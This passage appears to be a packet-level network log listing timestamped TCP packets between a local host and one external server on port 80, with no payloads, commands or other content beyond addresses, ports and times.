Nov 27, 2022 04:36:43.129062891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129076004 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129095078 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129098892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129123926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129128933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129148960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129158974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129173040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129174948 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129193068 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129200935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129218102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129228115 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129251957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129256010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129276037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129278898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129295111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129300117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129312992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129323959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129339933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129348040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129368067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129371881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129384995 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129396915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129412889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129420042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129439116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129443884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129463911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129467964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129483938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129492998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129509926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129518032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129537106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129543066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129555941 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129569054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129585981 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129592896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129611969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129617929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129641056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129654884 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129663944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129687071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129689932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129710913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129717112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129730940 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129735947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129755974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129760981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129780054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129786015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129796028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129812002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129837036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129838943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129861116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129864931 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129885912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129887104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129899025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129909992 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129928112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129935026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129960060 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.129968882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129982948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.129987001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130011082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130013943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130027056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130034924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130058050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130063057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130076885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130083084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130104065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130105972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130120039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130132914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130156994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130163908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130178928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130181074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130193949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130206108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130222082 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130228996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130249023 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130251884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130276918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130286932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130300045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130304098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130323887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130323887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130348921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130352020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130374908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130374908 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130398989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130404949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130417109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130424023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130439043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130448103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130465031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130470991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130486965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130496025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130512953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130518913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130534887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130543947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130563974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130567074 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130590916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130592108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130616903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130620003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130640030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130660057 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130665064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130686045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130690098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130713940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130717039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130739927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130744934 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130764961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130767107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130789042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130791903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130812883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130815029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130829096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130841017 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130861044 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130863905 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130880117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130902052 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130912066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130925894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130949974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130973101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.130983114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.130997896 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131000996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131000996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131023884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131028891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131042957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131048918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131069899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131071091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131083012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131094933 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131113052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131119967 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131139040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131143093 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131164074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131170034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131189108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131195068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131212950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131221056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131244898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131268978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131289959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131300926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131300926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131315947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131325960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131340981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131366014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131373882 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131387949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131387949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131392002 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131416082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131417036 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131439924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131443024 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131457090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131464958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131488085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131500959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131510019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131532907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131534100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131558895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131560087 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131582022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131604910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131606102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131606102 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131628036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131628990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131654024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131660938 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131673098 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131678104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131700993 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131704092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131716967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131725073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131742001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131750107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131772041 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131774902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131788969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131798983 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131814957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131822109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131843090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131848097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131871939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131870985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131887913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131896019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131915092 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131922007 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131947994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131970882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.131978989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.131994963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132011890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132011890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132019997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132047892 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132152081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132174015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132179022 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132196903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132208109 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132221937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132225990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132241964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132247925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132267952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132272005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132283926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132297039 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132319927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132342100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132342100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132368088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132373095 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132390976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132405043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132415056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132437944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132462025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132462025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132462025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132488012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132510900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132510900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132510900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132531881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132535934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132555008 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132560015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132582903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132599115 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132607937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132631063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132653952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132671118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132671118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132672071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132678032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132700920 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132702112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132719040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132719040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132729053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132752895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132761955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132776976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132787943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132800102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132812977 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132824898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132824898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132846117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132850885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132860899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132874966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132889032 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132900000 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132917881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132924080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132946968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132949114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132970095 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.132975101 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132991076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.132993937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133008003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133018970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133042097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133054018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133064985 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133069992 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133090019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133093119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133112907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133121967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133133888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133140087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133151054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133163929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133179903 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133187056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133205891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133212090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133224964 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133236885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133254051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133260965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133277893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133294106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133316994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133322001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133337975 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133339882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133363962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133364916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133378029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.133389950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.133405924 CET	49705	80	192.168.2.5	66.235.200.147
